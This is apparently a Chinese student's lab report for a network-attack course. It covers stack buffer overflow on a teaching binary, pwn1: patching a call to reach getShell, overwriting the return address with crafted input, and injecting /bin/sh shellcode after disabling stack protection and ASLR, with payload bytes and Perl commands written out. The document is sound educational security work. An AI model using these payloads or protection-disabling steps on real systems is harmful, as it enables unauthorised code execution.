20145236《网络对抗》Exp 1逆向及Bof基础
一、实践目标
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
二、基础知识及实践准备
- 理解EIP寄存器及其功能
- IP是指令寄存器,存放当前指令的下一条指令的地址。
- CPU该执行哪条指令就是通过IP来指示的。
- EIP是32位机的指令寄存器。
- 理解汇编语言中call指令的功能
具体可参考此博客:汇编语言call和ret指令的具体执行 - 关于缓冲区溢出攻击
缓冲区溢出攻击这个名词想必大家都不陌生,但是具体的应用大多数人却是第一次做,在此找到了一篇博客,可以加深对于缓冲区溢出的理解:缓冲区溢出攻击
简单来说,call和ret指令都是转移指令,它们都修改IP,或同时修改CS和IP。
调用call指令时, 把call指令的下一个指令放入堆栈, 调用ret时, 用堆栈保存的地址返回。
三、基础知识:Linux常用指令
管道命令
- 管道就是将输出在标准输出中的信息一次次处理最终打印在标准输出中,所以管道命令必须是接受标准输出的命令,
cp
、mv
、ls
都不是管道命令。 - 用法: command 1 | command 2,它的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2。
- 举例:
- ls -l | more:该命令列出当前目录中的任何文档,并把输出送给more命令作为输入,more命令分页显示文件列表。
重定向操作符
>
:将命令输出写入文件或设备,而不是命令提示符或句柄<
:从文件而不是从键盘或句柄读入命令输入>>
:将命令输出添加到文件末尾而不删除文件中已有的信息>&
:将一个句柄的输出写入到另一个句柄的输入中<&
:从一个句柄读取输入并将其写入到另一个句柄输出中
常用汇编指令及寄存器的作用
NOP
:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)JNE
:条件转移指令,如果不相等则跳转。(机器码:75)JE
:条件转移指令,如果相等则跳转。(机器码:74)JMP
:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)CMP
:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。EAX
:通用寄存器。相对其他寄存器,在进行运算方面比较常用。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)EBX
:通用寄存器。通常作为内存偏移指针使用(相对于EAX、ECX、EDX),DS是默认的段寄存器或选择器。在保护模式中,同样可以起这个作用。ECX
:通用寄存器。通常用于特定指令的计数。在保护模式中,也可以作为内存偏移指针(此时,DS作为 寄存器或段选择器)。EDX
:通用寄存器。在某些运算中作为EAX的溢出寄存器(例如乘、除)。在保护模式中,也可以作为内存偏移指针(此时,DS作为段 寄存器或选择器)。ESI
:通常在内存操作指令中作为“源地址指针”使用。当然,ESI可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。EDI
:通常在内存操作指令中作为“目的地址指针”使用。当然,EDI也可以被装入任意的数值,但通常没有人把它当作通用寄存器来用。DS是默认段寄存器或选择器。EBP
:这也是一个作为指针的寄存器。通常,它被高级语言编译器用以建造‘堆栈帧'来保存函数或过程的局部变量,不过,还是那句话,你可以在其中保存你希望的任何数据。SS是它的默认段寄存器或选择器。
四、实验步骤
一、直接修改程序机器指令,改变程序执行流程
1.将下载好的pwn1文件进行试运行和反汇编:
- 可以看出,pwn1是个实现了对输入的内容进行回显的可执行文件
2.使用指令objdump -d 20145215 | more对目标文件进行反汇编,查看反汇编代码:
- 程序正常运行时是不会执行
getShell
函数的,而我们的目的就是想让程序调用getShell
,因此就要想办法让call
指令跳转到getShell的起始地址执行,只要修d7fffff
为getShell-80484ba
对应的补码就行。用Windows计算器,直接47d-4ba
就能得到补码,是c3ffffff
。
3.对可执行文件进行修改,先输入指令vi pwn1
,用vim编辑器查看可执行文件pwn1;接着输入:%!xxd
,将显示模式切换为16进制模式;输入/e8 d7
查找要修改的内容:
按i
键将模式改为插入模式,修改d7
为c3
;输入:%!xxd -r
转换16进制为原格式,然后存盘退出。
4.再次查看反汇编代码
- 可以看出,这里的call函数使程序跳转到了getshell函数
5.运行下改后的代码,得到了shell提示符:
二、通过构造输入参数,造成BOF攻击,改变程序执行流
1.通过对foo函数进行分析,可以发现系统只预留了一定字节的缓冲区,超出部分会造成溢出,因此这个函数存在BOF漏洞,而我们的目标就是覆盖它的返回地址。
-
首先尝试用gdb调试
-
进过尝试发现,当输入达到28字节时产生溢出
Segmentation fault
2.输入1111111122222222333333334444444455555555,观察寄存器数值
3.发现eip为0x35353535,查ASCLL表发现是5555。eip寄存器的功能就是保存程序下一步要执行指令的地址,可以看出本来应返回到foo函数的返回地址已被"5555"覆盖
- 通过将55555555换成12345678,再观察eip值找出谁被覆盖,通过查表可知为1234
4.确认getshell地址的字节序列0804847d如何组合
- 通过设置断点查看0804847d的顺序,在0804049d处设置断点,通过查看之后的eip值,eip值不变,对比之前 eip 0x34333231 0x34333231 ,通过查表查出为4321,可以确定getshell字符序列应该是11111111222222223333333344444444x7dx84x04x08
- 码表如下:
5.生成字符串
- 我们没法通过键盘输入
x7dx84x04x08
这样的16进制值,所以先生成包括这样字符串的一个文件。x0a
表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
Perl
是一门解释型语言,不需要预编译,可以在命令行上直接使用。
使用输出重定向>
将perl生成的字符串存储到文件input中。可以使用16进制xxd
查看指令查看input文件的内容是否如预期。
6.跳转getshell
- 将input的输入,通过管道符“|”,作为pwn1的输入
三、 注入Shellcode并执行
1.准备一段Shellcode代码
2.为了之后能够看到反汇编的结果,这次采用的静态编译。正常返回shell。
- 经过一系列的工作我们可以得到这段注入的shellcode代码的反汇编结果(这些代码可以在网上下载)。
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
3.搭建环境
- 首先使用
apt-get install execstack
命令安装execstack
。 - 修改以下设置:
root@KaliYL:~# execstack -s pwn1 //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0
4.我们选择retaddr+nops+shellcode
结构来攻击buf,在shellcode前填充nop
的机器码90
,最前面加上加上返回地址(先定义为x4x3x2x1
):
perl -e 'print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > input_shellcode
-
上面最后的
x4x3x2x1
将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode
的地址。
特别提醒:最后一个字符千万不能是x0a
。不然下面的操作就做不了了。 -
接下来确定
x4x3x2x1
部分到底需要填什么。
5.打开一个终端注入这段攻击buf:(运行之后先不输入回车
,在后面的调试过程中需要继续运行的时候再回车)
6.再开另外一个终端,用gdb来调试pwn1这个进程。(找到pwn1的进程号是1878)
- 启动gdb调试这个进程:
7.通过设置断点,来查看注入buf的内存地址
8.使用break *0x080484ae
设置断点,并输入c
继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行,这就是前面为什么不能以x0a来结束 input_shellcode的原因。
9.再返回调试终端,使用info r esp
查找地址。使用x/16x 0xffffd33c
查看其存放内容,看到了0xf7f9c920,就是返回地址的位置。根据我们构造的input_shellcode
可知,shellcode就在其后,所以地址是 0xffffd340
。
10.接下来只需要将之前的x4x3x2x1改为这个地址即可:
11.WOW成功了!!!
四、实验总结
- 本次实践是我第一次体会到BOF攻击的效果,之前都是理论的学习,知道有这么一个漏洞,但缺少实践的训练。此次通过特殊构造的“pwn1”文件,利用2种不同的方法,达到了获取shell的目的,还是很有趣的。
- 在动手实践之前一定要仔细的先把老师给的实验指导书看一遍避免入坑。在操作的时候一定先弄懂每一步的目的,先理解,再体会。